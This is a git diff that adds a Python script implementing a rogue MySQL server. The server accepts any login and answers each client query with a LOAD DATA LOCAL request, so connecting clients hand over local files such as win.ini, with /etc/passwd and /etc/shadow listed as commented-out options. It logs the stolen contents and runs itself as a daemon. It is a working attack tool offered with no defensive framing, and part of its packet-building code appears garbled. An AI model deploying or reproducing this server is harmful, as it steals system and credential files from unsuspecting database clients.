diff --git a/rogue_mysql_server.py b/rogue_mysql_server.py new file mode 100644 index 0000000..95186a4 --- /dev/null +++ b/rogue_mysql_server.py @@ -0,0 +1,260 @@ +#!/usr/bin/env python +#coding: utf8 + + +import socket +import asyncore +import asynchat +import struct +import random +import logging +import logging.handlers + + + +PORT = 3306 + +log = logging.getLogger(__name__) + +log.setLevel(logging.DEBUG) +tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab') +tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s")) +log.addHandler( + tmp_format +) + +filelist = ( +# r'c:\boot.ini', + r'c:\windows\win.ini', +# r'c:\windows\system32\drivers\etc\hosts', +# '/etc/passwd', +# '/etc/shadow', +) + + +#================================================ +#=======No need to change after this lines======= +#================================================ + +__author__ = 'Gifts' + +def daemonize(): + import os, warnings + if os.name != 'posix': + warnings.warn('Cant create daemon on non-posix system') + return + + if os.fork(): os._exit(0) + os.setsid() + if os.fork(): os._exit(0) + os.umask(0o022) + null=os.open('/dev/null', os.O_RDWR) + for i in xrange(3): + try: + os.dup2(null, i) + except OSError as e: + if e.errno != 9: raise + os.close(null) + + +class LastPacket(Exception): + pass + + +class OutOfOrder(Exception): + pass + + +class mysql_packet(object): + packet_header = struct.Struct('> 16, 0, self.packet_num) + + result = "{0}{1}".format( + header, + self.payload + ) + return result + + def __repr__(self): + return repr(str(self)) + + @staticmethod + def parse(raw_data): + packet_num = ord(raw_data[0]) + payload = raw_data[1:] + + return mysql_packet(packet_num, payload) + + +class http_request_handler(asynchat.async_chat): + + def __init__(self, addr): + asynchat.async_chat.__init__(self, sock=addr[0]) + self.addr = addr[1] + self.ibuffer = [] + self.set_terminator(3) + self.state = 'LEN' + self.sub_state = 'Auth' + self.logined = False + self.push( + mysql_packet( + 0, + "".join(( + '\x0a', # Protocol + '3.0.0-Evil_Mysql_Server' + '\0', # Version + #'5.1.66-0+squeeze1' + '\0', + '\x36\x00\x00\x00', # Thread ID + 'evilsalt' + '\0', # Salt + '\xdf\xf7', # Capabilities + '\x08', # Collation + '\x02\x00', # Server Status + '\0' * 13, # Unknown + 'evil2222' + '\0', + )) + ) + ) + + self.order = 1 + self.states = ['LOGIN', 'CAPS', 'ANY'] + + def push(self, data): + log.debug('Pushed: %r', data) + data = str(data) + asynchat.async_chat.push(self, data) + + def collect_incoming_data(self, data): + log.debug('Data recved: %r', data) + self.ibuffer.append(data) + + def found_terminator(self): + data = "".join(self.ibuffer) + self.ibuffer = [] + + if self.state == 'LEN': + len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1 + if len_bytes < 65536: + self.set_terminator(len_bytes) + self.state = 'Data' + else: + self.state = 'MoreLength' + elif self.state == 'MoreLength': + if data[0] != '\0': + self.push(None) + self.close_when_done() + else: + self.state = 'Data' + elif self.state == 'Data': + packet = mysql_packet.parse(data) + try: + if self.order != packet.packet_num: + raise OutOfOrder() + else: + # Fix ? + self.order = packet.packet_num + 2 + if packet.packet_num == 0: + if packet.payload[0] == '\x03': + log.info('Query') + + filename = random.choice(filelist) + PACKET = mysql_packet( + packet, + '\xFB{0}'.format(filename) + ) + self.set_terminator(3) + self.state = 'LEN' + self.sub_state = 'File' + self.push(PACKET) + elif packet.payload[0] == '\x1b': + log.info('SelectDB') + self.push(mysql_packet( + packet, + '\xfe\x00\x00\x02\x00' + )) + raise LastPacket() + elif packet.payload[0] in '\x02': + self.push(mysql_packet( + packet, '\0\0\0\x02\0\0\0' + )) + raise LastPacket() + elif packet.payload == '\x00\x01': + self.push(None) + self.close_when_done() + else: + raise ValueError() + else: + if self.sub_state == 'File': + log.info('-- result') + log.info('Result: %r', data) + + if len(data) == 1: + self.push( + mysql_packet(packet, '\0\0\0\x02\0\0\0') + ) + raise LastPacket() + else: + self.set_terminator(3) + self.state = 'LEN' + self.order = packet.packet_num + 1 + + elif self.sub_state == 'Auth': + self.push(mysql_packet( + packet, '\0\0\0\x02\0\0\0' + )) + raise LastPacket() + else: + log.info('-- else') + raise ValueError('Unknown packet') + except LastPacket: + log.info('Last packet') + self.state = 'LEN' + self.sub_state = None + self.order = 0 + self.set_terminator(3) + except OutOfOrder: + log.warning('Out of order') + self.push(None) + self.close_when_done() + else: + log.error('Unknown state') + self.push('None') + self.close_when_done() + + +class mysql_listener(asyncore.dispatcher): + def __init__(self, sock=None): + asyncore.dispatcher.__init__(self, sock) + + if not sock: + self.create_socket(socket.AF_INET, socket.SOCK_STREAM) + self.set_reuse_addr() + try: + self.bind(('', PORT)) + except socket.error: + exit() + + self.listen(5) + + def handle_accept(self): + pair = self.accept() + + if pair is not None: + log.info('Conn from: %r', pair[1]) + tmp = http_request_handler(pair) + + +z = mysql_listener() +daemonize() +asyncore.loop()